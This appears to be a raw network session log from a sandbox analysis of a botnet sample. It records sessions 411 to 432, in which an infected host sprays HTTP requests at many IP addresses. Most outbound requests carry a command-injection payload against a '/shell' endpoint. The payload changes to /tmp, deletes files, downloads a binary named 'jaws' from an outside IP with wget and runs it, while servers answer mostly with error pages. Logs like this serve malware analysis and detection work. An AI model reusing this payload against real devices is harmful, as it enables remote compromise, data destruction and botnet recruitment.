Jan 2, 2024 06:24:59.257112980 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	56566	18.172.204.124	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.388501883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:59.748073101 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:59 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	39240	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.473805904 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:58Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	40948	145.236.36.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.769717932 CET	502	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 31 39 2f 62 68 6f 63 20 32 33 73 65 70 32 30 30 34 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 37 20 46 65 62 20 Data Ascii: (null) 400 Bad RequestServer: mini_httpd/1.19/bhoc 23sep2004Date: Sat, 07 Feb 1970 10:05:37 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=UTF-8Connection: close<HTML><HEAD><TITLE>400 Bad Request</TITLE></HE

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	39254	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:59.822169065 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	39260	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.171540976 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	39272	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.517657995 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	39278	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.883369923 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:00Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	52658	34.224.189.176	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.915016890 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	34808	34.206.169.216	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.915046930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.074887991 CET	349	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:00 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	47712	162.243.164.36	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.919883013 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.085668087 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:25:01 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	36644	68.68.1.220	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.920490980 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.085726023 CET	784	IN	HTTP/1.0 400 Bad request: request protocol version denied Content-type: text/html; charset="iso-8859-1" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 20 52 65 71 75 65 73 74 20 64 65 6e 69 65 64 20 62 79 20 57 61 74 63 68 47 75 61 72 64 20 48 54 54 50 20 70 72 6f 78 79 2e 20 3c 2f 68 33 3e 0d 0a 3c 62 3e 20 52 65 61 73 6f 6e 3a 20 3c 2f 62 3e 20 72 65 71 75 65 73 74 20 70 72 6f 74 6f 63 6f 6c 20 76 65 72 73 69 6f 6e 20 64 65 6e 69 65 64 20 6c 69 6e 65 3d 27 47 45 54 20 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 48 54 54 50 2f 31 2e 31 5c 78 30 64 5c 78 30 61 27 20 3c 62 72 3e 0d 0a 3c 68 72 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3e 0d 0a 3c 62 3e 20 4d 65 74 68 6f 64 3a 20 3c 2f 62 3e 20 47 45 54 20 3c 62 72 3e 0d 0a 3c 62 3e 20 48 6f 73 74 3a 20 3c 2f 62 3e 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 20 3c 62 72 3e 0d 0a 3c 62 3e 20 50 61 74 68 3a 20 3c 2f 62 3e 20 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 20 3c 62 72 3e 0d 0a 3c 68 72 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 50 41 44 20 2d 2d 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><body><h3> Request denied by WatchGuard HTTP proxy. </h3><b> Reason: </b> request protocol version denied line='GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1\x0d\x0a' <br><hr size="1" noshade><b> Method: </b> GET <br><b> Host: </b> 212.102.41.2 <br><b> Path: </b> /shell?cd+/tmp;rm+-rf+;wget+ <br><hr size="1" noshade></body> ... PAD --></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.23	33828	99.80.176.125	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.994556904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.237289906 CET	401	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:01 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.23	55554	51.138.221.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:00.997014999 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.239317894 CET	292	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:01 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.23	41692	38.6.180.184	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:01.064193964 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.216890097 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:25:01 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	59564	98.4.73.12	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:01.180668116 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.364893913 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 02 Jan 2024 05:25:02 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	39314	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:01.239356995 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:00Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	39906	185.18.81.66	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:01.307707071 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:01.551270962 CET	440	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jan 2024 05:25:01 GMT Server: Apache Vary: Accept-Encoding Content-Length: 203 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	39342	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:01.566796064 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	39350	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:01.897305012 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	54620	52.215.63.143	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.012428999 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.258810997 CET	179	IN	HTTP/1.1 404 Not Found Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	40480	51.75.21.178	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.016731024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	54616	217.23.144.159	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.033209085 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
